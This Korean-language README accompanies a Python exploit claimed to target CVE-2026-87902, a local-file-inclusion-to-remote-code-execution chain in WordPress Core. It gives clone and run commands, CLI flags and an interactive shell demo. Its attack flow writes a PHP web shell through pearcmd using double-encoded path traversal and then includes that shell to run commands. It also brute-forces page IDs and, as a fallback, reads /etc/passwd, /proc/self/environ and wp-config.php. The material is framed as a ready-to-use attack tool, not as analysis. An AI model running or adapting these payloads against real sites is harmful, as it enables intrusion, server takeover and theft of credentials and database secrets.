CVE-2026-87902에 대한 Python 익스플로잇으로, WordPress Core의 LFI-to-RCE 체인입니다. 버전을 핑거프린팅하고 pearcmd를 통해 PHP 셸을 작성하며, 명령 실행 또는 LFI 폴백을 제공합니다.
| 필드 | 값 |
|---|
| CVE | CVE-2026-87902 |
| 유형 | 로컬 파일 포함(LFI) → 원격 코드 실행(RCE) |
| CWE | CWE-98 |
| CVSS v3.1 | 9.2 (치명적) |
| 공격 벡터 | 네트워크 (인증 불필요) |
| 영향받는 버전 | WordPress 4.7.0 – 7.1.1 |
| 패치됨 | WordPress 7.1.2 (및 4.7.37까지의 백포트) |
| 근본 원인 | get_page_template()이 pagename 매개변수를 URL 디코딩한 후 validate_file()을 호출하지 않아, 이중 인코딩된 경로 탐색(%252E%252E%252F)이 정화를 우회하고 테마 디렉터리 외부의 임의 .php 파일을 포함할 수 있게 합니다. |
전체 RCE를 위해서는 다음 모두가 참이어야 합니다:
page-* 디렉터리가 존재 (예: page-templates/)pearcmd.php가 존재하고 웹 서버 사용자가 읽을 수 있음 (공식 PHP Docker 이미지 및 PHP < 8.5를 사용하는 많은 cPanel 설치에서 기본값)register_argc_argv=On 설정 (PHP < 8.5에서 기본값)이 중 하나라도 누락되면 익스플로잇은 LFI 전용 파일 읽기로 폴백합니다.
exploit.py # 메인 익스플로잇 스크립트 README.md # 이 파일 report.json # (선택 사항) -o 사용 시 출력 보고서
설치:
apt update
apt upgrade
apt install python
apt install git
pip install requests
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
python3 exploit.py -t https://site.com -v
이 명령은:
· WordPress 버전 및 활성 테마 핑거프린팅 · 취약한 버전 범위 확인 · 게시된 페이지 ID 찾기 (REST → sitemap → 무차별 대입) · pearcmd.php를 통한 PHP 셸 작성 시도 · 셸을 포함하고 id 실행 시도 · RCE 실패 시 민감한 파일에 대한 LFI로 폴백
python3 exploit.py -t https://site.com -c "id"
python3 exploit.py -t https://site.com -i -v
셸 내부:
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
python3 exploit.py -t https://site.com -o report.json -v
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v
🧾 CLI 참조
플래그 긴 이름 설명 -t --target 필수. 대상 WordPress URL (끝에 슬래시 없음). -c --command RCE 후 단일 셸 명령 실행. -i --interactive RCE 후 대화형 셸 열기. -v --verbose 상세 진행 상황 출력. -o --output 최종 보고서를 지정된 경로에 JSON으로 저장. -h --help 도움말 표시.
🔄 익스플로잇 흐름
[1] 핑거프린팅
├─ WordPress 버전 (meta generator / asset ?ver=)
└─ 활성 테마 (/wp-content/themes/<name>/)
[2] 버전 확인
└─ 4.7.0 – 7.1.1 ? 계속 : 경고 후 계속
[3] 페이지 ID 찾기
├─ REST: /wp-json/wp/v2/pages
├─ Sitemap: /wp-sitemap.xml
└─ 무차별 대입: /?page_id=1..30
[4] page-* 디렉터리 확인
├─ page-templates
├─ page-template
├─ pages
├─ templates
└─ page
[5] pearcmd를 통한 셸 작성
└─ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
body: root=<?php system($_GET['c']); ?>
[6] 셸 포함
└─ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id
[7] 폴백 LFI (RCE 실패 시)
├─ /etc/passwd
├─ /etc/hostname
├─ /proc/self/environ
├─ /proc/version
├─ wp-config.php
└─ ../.. 변형